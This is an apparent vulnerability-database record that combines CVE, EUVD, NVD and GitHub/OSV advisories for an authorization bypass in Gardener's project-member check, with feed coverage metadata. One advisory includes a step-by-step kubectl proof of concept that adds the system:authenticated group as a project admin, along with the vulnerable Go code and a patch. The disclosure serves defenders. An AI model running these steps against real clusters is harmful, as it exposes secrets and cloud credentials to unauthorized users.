{"id":"EUVD-2026-84821","revision":null,"records":[{"revision":"4ff159dfce1e4fd2942e0926209c8bcc","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-79767","aliases":[],"title":"Gardener: Authorization Bypass via Group Subject Injection","description":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.","state":0,"publishedAt":"2026-09-22T19:58:00.09+00:00","modifiedAt":"2026-09-23T14:36:18.501+00:00","affected":[{"ecosystem":"Vendor product","name":"gardener","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"gardener\",\n                    \"product\": \"gardener\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.142.6\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.143.0, < 1.143.3\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.144.0, < 1.144.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","score":5.5,"severity":"MEDIUM"}],"references":["https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888","https://github.com/gardener/gardener/pull/15080","https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545","https://github.com/gardener/gardener/releases/tag/v1.144.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-79767","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-79767","identifiers":["CVE-2026-79767"]},"retained":false,"historicalAffected":[]},{"revision":"642f79f8f95e46fdb4619307d69f5fc7","observedAt":"2026-11-11T16:09:53.079+00:00","statement":{"source":"euvd","id":"EUVD-2026-84821","aliases":["CVE-2026-79767","GHSA-gfjv-gqf2-c888"],"title":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compar…","description":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","score":5.5,"severity":null}],"references":["https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888","https://github.com/gardener/gardener/pull/15080","https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545","https://github.com/gardener/gardener/releases/tag/v1.144.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-84821","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 22, 2026, 7:58:00 PM","dateUpdated":"Sep 23, 2026, 2:36:18 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-84821","identifiers":["EUVD-2026-84821","CVE-2026-79767","GHSA-gfjv-gqf2-c888"]},"retained":false,"historicalAffected":[]},{"revision":"aa987e900c3742e98e6c7477b1176ba3","observedAt":"2026-10-25T16:19:10.271+00:00","statement":{"source":"nvd","id":"CVE-2026-79767","aliases":[],"title":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compar…","description":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.","state":0,"publishedAt":"2026-09-22T20:17:08.957+00:00","modifiedAt":"2026-09-23T18:12:04.247+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","score":5.5,"severity":"MEDIUM"}],"references":["https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545","https://github.com/gardener/gardener/pull/15080","https://github.com/gardener/gardener/releases/tag/v1.144.2","https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79767","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-863"],"productCriteria":[],"sourceDates":{"published":"2026-09-22T20:17:08.957","lastModified":"2026-09-23T18:12:04.247"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-79767","identifiers":["CVE-2026-79767"]},"retained":false,"historicalAffected":[]},{"revision":"7946f92e01fd4d9c856a91b0598cdfb1","observedAt":"2026-11-04T23:56:21.54+00:00","statement":{"source":"osv","id":"GHSA-gfjv-gqf2-c888","aliases":["CVE-2026-79767","GO-2026-6568"],"title":"Gardener: Authorization Bypass via Group Subject Injection","description":"## Overview\nThe `manage-members` custom verb authorization check in the Gardener API server's `customverbauthorizer` admission plugin can be bypassed by adding `Group` or `ServiceAccount` subjects to a Project's member list. The check is documented as controlling \"human users or groups\", but the implementation only gates changes to `User`-kind subjects. A project admin (without `manage-members` permission) can add arbitrary Group subjects - including `system:authenticated` - granting all authenticated users full project-level access.\n## Technical Details\nThe official Gardener documentation at `docs/usage/project/projects.md:90-92` explicitly states:\n<img width=\"2090\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b\" />\n\nHowever, the `mustCheckProjectMembers()` function at `admission.go` compares old and new member lists using `findHumanUsersWithRoles()`, which only tracks subjects where `isHumanUser()` returns true:\n```go\nfunc mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {\n    if apiequality.Semantic.DeepEqual(oldMembers, members) {\n        return false\n    }\n    if userIsOwner(userInfo, owner) {\n        return false\n    }\n    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)\n    // ...\n    return !oldHumanUsers.Equal(newHumanUsers)\n}\n```\nThe `isHumanUser()` function at `admission.go` only matches `Kind == \"User\"`:\n```go\nfunc isHumanUser(subject rbacv1.Subject) bool {\n    return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n}\n```\nKind: \"Group\" subjects are NOT matched by `isHumanUser()`, making Group member changes invisible to the authorization check. \nA project admin without manage-members permission can freely add or remove Group members.\n\n## Steps to reproduce\n<img width=\"4322\" height=\"1395\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c\" />\n\n---\n\n_Proof of concept:_\n1. Verify current project membership and confirm the owner has `manage-members` permission:\n```bash\n# Project members before the test:\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n\n# Confirm the owner CAN manage-members (expected)\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user\nyes\n```\n2. Add a second admin user (`test-admin-user`) to the project WITHOUT the `uam` role, then confirm they lack `manage-members`:\n```bash\n# After adding test-admin-user as admin (no uam role):\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n\n# Confirm test-admin-user does NOT have manage-members\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user\nno\n```\n3. Verify `test-admin-user` cannot add a human User member (the check works for Users):\n```bash\n$ kubectl patch --as=test-admin-user project local --type=merge -p '{\n  \"spec\": {\n    \"members\": [\n      {\n        \"kind\": \"User\",\n        \"apiGroup\": \"rbac.authorization.k8s.io\",\n        \"name\": \"new-human-user@example.com\",\n        \"role\": \"viewer\"\n      }\n    ]\n  }\n}'\nError from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) \"local\" is forbidden: user \"test-admin-user\" is not allowed to manage human users or groups in .spec.members for \"projects\"\n```\n4. Bypass the check by adding a Group subject instead:\n```bash\n# This should be denied but ISN'T - the manage-members check is bypassed\n$ kubectl patch project local --as=test-admin-user --type=json -p '[\n  {\n    \"op\": \"add\",\n    \"path\": \"/spec/members/-\",\n    \"value\": {\n      \"kind\": \"Group\",\n      \"apiGroup\": \"rbac.authorization.k8s.io\",\n      \"name\": \"system:authenticated\",\n      \"role\": \"admin\",\n      \"roles\": [\"admin\"]\n    }\n  }\n]'\n\nproject.core.gardener.cloud/local patched\n```\n5. Verify the Group was added to project members:\n```bash\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: Group\n#     name: system:authenticated\n#     role: admin\n```\n6. Demonstrate the impact - any authenticated user now has project access:\n```bash\n# As a random user \n$ kubectl --as=random-user@example.com get shoots -n garden-local\nNAME    CLOUDPROFILE   PROVIDER   REGION   K8S VERSION   HIBERNATION   LAST OPERATION            STATUS    AGE\nlocal   local          local      local    1.35.0        Awake         Create Succeeded (100%)   healthy   30m\n```\n>_Note: `random-user@example.com` does not exist as a real user. However, the Kubernetes `--as` global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the `system:authenticated` group. Since `system:authenticated` was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._\n\n\n---\n## Security Impact\n- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including `system:authenticated` (all authenticated users) or `system:unauthenticated` (all unauthenticated users).\n## Patching & Remediation\n1. **Fix `isHumanUser()` to include Groups**: The function should match the documented behavior. Change:\n    ```go\n    func isHumanUser(subject rbacv1.Subject) bool {\n        return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```\n    To:\n    ```go\n    func isNonServiceAccountSubject(subject rbacv1.Subject) bool {\n        if subject.Kind == rbacv1.GroupKind {\n            return true\n        }\n        return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```","state":0,"publishedAt":"2026-09-22T20:40:38+00:00","modifiedAt":"2026-11-04T23:30:03.896135+00:00","affected":[{"ecosystem":"Go","name":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.142.6"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.143.0"},{"kind":"fixed","version":"1.143.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.144.0"},{"kind":"fixed","version":"1.144.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888","https://nvd.nist.gov/vuln/detail/CVE-2026-79767","https://github.com/gardener/gardener/pull/15080","https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545","https://github.com/gardener/gardener","https://github.com/gardener/gardener/releases/tag/v1.144.2"],"sourceUrl":"https://github.com/advisories/GHSA-gfjv-gqf2-c888","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gfjv-gqf2-c888","identifiers":["GHSA-gfjv-gqf2-c888","CVE-2026-79767","GO-2026-6568"]},"retained":false,"historicalAffected":[]},{"revision":"372ce8bfb28344ebb93002f2a4a61407","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6568","aliases":["CVE-2026-79767","GHSA-gfjv-gqf2-c888"],"title":"Gardener: Authorization Bypass via Group Subject Injection in gardener/gardener","description":"Gardener: Authorization Bypass via Group Subject Injection in gardener/gardener.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/gardener/gardener from v1.143.0 before v1.143.3, from v1.144.0 before v1.144.2.","state":0,"publishedAt":"2026-10-01T20:23:38+00:00","modifiedAt":"2026-10-01T20:45:13.1758141+00:00","affected":[{"ecosystem":"Go","name":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.142.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888","https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545","https://github.com/gardener/gardener/pull/15080","https://github.com/gardener/gardener/releases/tag/v1.144.2"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6568","license":"OSV · upstream source license applies","key":"osv:GO-2026-6568","identifiers":["GO-2026-6568","CVE-2026-79767","GHSA-gfjv-gqf2-c888"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T21:58:49.5594544+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T21:58:49.5594544+00:00","lastSuccessAt":"2026-11-11T21:58:49.7696899+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.7696907+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-0cd050aa4e3407be88a99da87c4684cdd6e2bb2192e7b5d8516c5221fe2996c0","complete":true,"records":424321,"lastAttemptAt":"2026-11-11T21:56:53.6118096+00:00","lastSuccessAt":"2026-11-11T21:56:53.4062549+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:56:53.6118096+00:00","snapshotPublishedAt":"2026-11-11T21:25:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0211f24f7dd2479496f11922c7aad014","complete":false,"records":13760,"lastAttemptAt":"2026-11-11T22:09:10.3527395+00:00","lastSuccessAt":"2026-11-11T22:09:09.323+00:00","error":"346 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T22:09:09.323+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13257,"expectedIdentifiers":13813,"failedIdentifiers":346},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T21:58:49.5594544+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T21:58:49.5594544+00:00","lastSuccessAt":"2026-11-11T21:58:49.7704457+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.7704461+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e103bc43c8e54398a828cba9bdd81bf5","complete":true,"records":13754,"lastAttemptAt":"2026-11-11T21:59:28.9840194+00:00","lastSuccessAt":"2026-11-11T21:59:28.981+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:59:28.981+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T21:58:49.3669281+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.3669281+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T21:56:53.7926299+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:56:53.7926299+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T21:58:49.4873797+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.4873797+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-11T21:58:49.2338613+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.2338613+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}